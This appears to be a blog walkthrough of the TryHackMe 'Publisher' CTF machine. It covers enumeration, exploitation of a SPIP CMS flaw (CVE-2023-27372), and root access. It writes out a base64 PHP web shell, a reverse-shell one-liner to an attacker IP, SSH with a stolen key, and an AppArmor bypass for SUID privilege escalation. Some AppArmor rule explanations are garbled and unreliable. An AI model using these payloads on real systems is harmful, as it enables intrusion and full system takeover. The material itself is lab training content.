Summary
Link to the Room: https://tryhackme.com/room/publisher Title: Test your enumeration skills on this boot-to-root machine Description: The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation
- Scanning & Enumeration Using nmap command to discover open ports on the target system: nmap Target_IP -vvv Found two open ports on the target system, further exploring the machine to discover the services & their versions running on these open ports: nmap -p22,80 -sV 10.80.133.78 -o nmap.txt Web From above scan discovered two different services (ssh & http ) running on the target machine Exploring the HTTP service running on port 80 A good habit is first to map the application and understand the technology stack it is using Using Wappalyzer browser extension to discover the technology stack and programming language which target web application is using Find directories and files using Gobuster tool: gobuster dir -u http://TARGET_IP:80/ -w /usr/share/seclists/Discovery/Web-Content/big.txt From above scan two directories found: /images/ /spip/ Further enumerating the /spip/ directory to find more files & directories: gobuster dir -u http://10.82.133.14:80/spip/ -w /usr/share/seclists/Discovery/Web-Content/big.txt Result: /LICENSE /README.md /config/ /ecrire/ /local/ /prive/ /squelettes-dist/ /tmp/ /vendor/ Analyzing each directory and files they contain, I encountered the version of the CMS spip which target web application is using, displayed in one of the file located at: /spip/local/config.txt Using searchsploit tool to find the possible exploit for that specific CMS (spip): searchsploit spip From above command it displays that the web application is running a vulnerable CMS version which can lead attacker to Remote Code Execution without having authentication credentials
- Exploitation Searching for this vulnerable software on the internet provides the CVE details and PoC to exploit Download the python exploit for CVE-2023-27372 from the GitHub repo displayed above and run the exploit to upload a web shell on this vulnerable web application ./CVE-2023-27372.py -u http://10.80.180.136/spip -c “echo PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwp9Cj8+Cg== | base64 -d > webshell.php” Now, you can access the web shell created on the vulnerable application by visiting the URL: http://TARGET_IP/spip/webshell.php You can run the necessary commands by providing a CMD parameter, as: http://10.80.180.136/spip/webshell.php?cmd=id Reverse Shell To obtain reverse shell from the target system perform following steps:
- Setup a listener on your local machine (attack box): nc -lnvp 4444
- Execute URL encoded reverse shell from web shell on the target system, as: php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.136.23%22%2C4444%29%3Bshell_exec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27 Reverse shell received on the listener running on local machine Found user.txt within the think user’s home directory /home/think
- Privilege Escalation Looking for privilege escalation vectors to gain access to other users on the system Get Huzaifa Malik’s stories in your inbox Join Medium for free to get updates from this writer. While enumerating for sensitive files I found user think ssh private key id_rsa which is readable by all the users on the system (including www-data which we have compromised) As system is already running the SSH service we found earlier in nmap scan, lets try to access SSH service from local machine (attacker machine) as user think with its private key id_rsa chmod 600 id_rsa ssh think@Target_IP -i id_rsa Access to root user Looking for SUID binaries which are running as user root , and can be executed by the currently compromised user think : find / -type f -perm -u=s -ls 2>/dev/null By running above command, found a custom binary having SUID privileges (SUID allows to run the binary with the privileges of its owner which is root in this case) and can be executed by any user on the system (including think ) By executing this suspicious binary /usr/sbin/run_container , look at the output, this binary is executing another shell program located at /opt/run_container.sh Listing the permissions of this program: ls -l /opt/run_container.sh As displayed following, this target shell program (/opt/run_container.sh ) is writable by all the users on the system Now, the exploit process seems to be simple just write malicious commands in that target /opt/run_container.sh program file & running the custom SUID binary will execute this file containing attacker’s malicious command, thus giving us a root shell But, on writing into /opt/run_container.sh returns permission denied error, even if /opt/run_container.sh is globally writable That’s an abnormal behavior, user is unable to modify the writable file. There might be some other application or config blocking such action, as specified in the Hint of root flag: “Look to the App Armor by it’s profile” Let’s google for App Armor it displays: AppArmor provides Mandatory Access Control (MAC) by restricting programs and process from read/write/execute permissions on files/directories through strict, per-program profiles From the above info it is clear that their might be some program specific restrictions applied which is restricting users to modify the writable /opt/run_container.sh file Another, google search for App Armor config file, results: App Armor configs/profiles are primarily stored in the /etc/apparmor.d/ directory Profiles are named after the absolute path to the executable they protect, replacing the forward slashes (/ ) with periods (. ) Example: As profile for/usr/bin/nginx is saved as/etc/apparmor.d/usr.bin.nginx List the App Armor profiles on the target system ls -l /etc/apparmor.d/ By running above command it displays a profile for ash shell, which is another Linux shell just like bash ,sh ,zsh This usr.sbin.ash profile of App Armor applies to the current user think becuase this user is using the ash shell, you can confirm this by running: echo $0 View the usr.sbin.ash profile by running command: cat /etc/apparmor.d/usr.sbin.ash Understanding the rules to the specified directories in usr.sbin.ash profile: deny /opt r, ⇒ prevents from reading/listing the “/opt” directory but directories & file under this directory can still be listed & read, as: ls -l /opt/run_container.sh deny /opt/** w, ⇒ same as above but applies to “/opt” directory deny /tmp/** w, ⇒ same as above but applies to “/tmp” directory deny /dev/shm w, ⇒ prevents from writing on the “/dev/shm” directory itself, but this doesn’t apply on the files & subdirectories dev /var/tmp w, ⇒ same as above but applies to “/var/tmp” directory dev /var/tmp w, ⇒ prevents from writing into the “/home/” directory /usr/bin/ mrix, ⇒ allows execution of the programs under “/usr/bin/” directory but that new process inherits the current profile, as in this case: new_process (profile “/etc/apparmor.d/usr.sbin.ash”) | exec(“/usr/bin/bash”) | bash (still profile “/etc/apparmor.d/usr.sbin.ash” applied) /usr/sbin/** mrix, ⇒ same as above but applies to “/usr/sbin/” directory As the above profile is applied to the current shell ash & from the profile configs /usr/bin/** it displays that we can execute the /usr/bin/bash to change the shell but the usr.sbin.ash profile will still be applied to that new shell process, hence user will still be unable to modify the target program /opt/run_container.sh But it is still possible to bypass the usr.sbin.ash profile if attacker executes the bash shell from any other directory where mrix configs doesn’t apply, so from here out exploit methodology will be: 1️⃣ Copy the /usr/bin/bash shell to any other directory, in this case we are using /var/tmp : cp /usr/bin/bash /var/tmp/bash 2️⃣ Execute the /var/tmp/bash to change the shell & bypass the usr.sbin.ash profile configs: /var/tmp/bash Now, attacker is able to modify the /opt/run_container.sh 3️⃣ Insert your malicious commands in the target program: echo “/usr/bin/bash -p” >> /opt/run_container.sh 4️⃣ Now, execute the SUID binary which executes this target program injected with attacker’s malicious command (/usr/bin/bash -p ), hence giving root privileges: /usr/sbin/run_container Read the /root/root.txt to get our final flag: cat /root/root.txt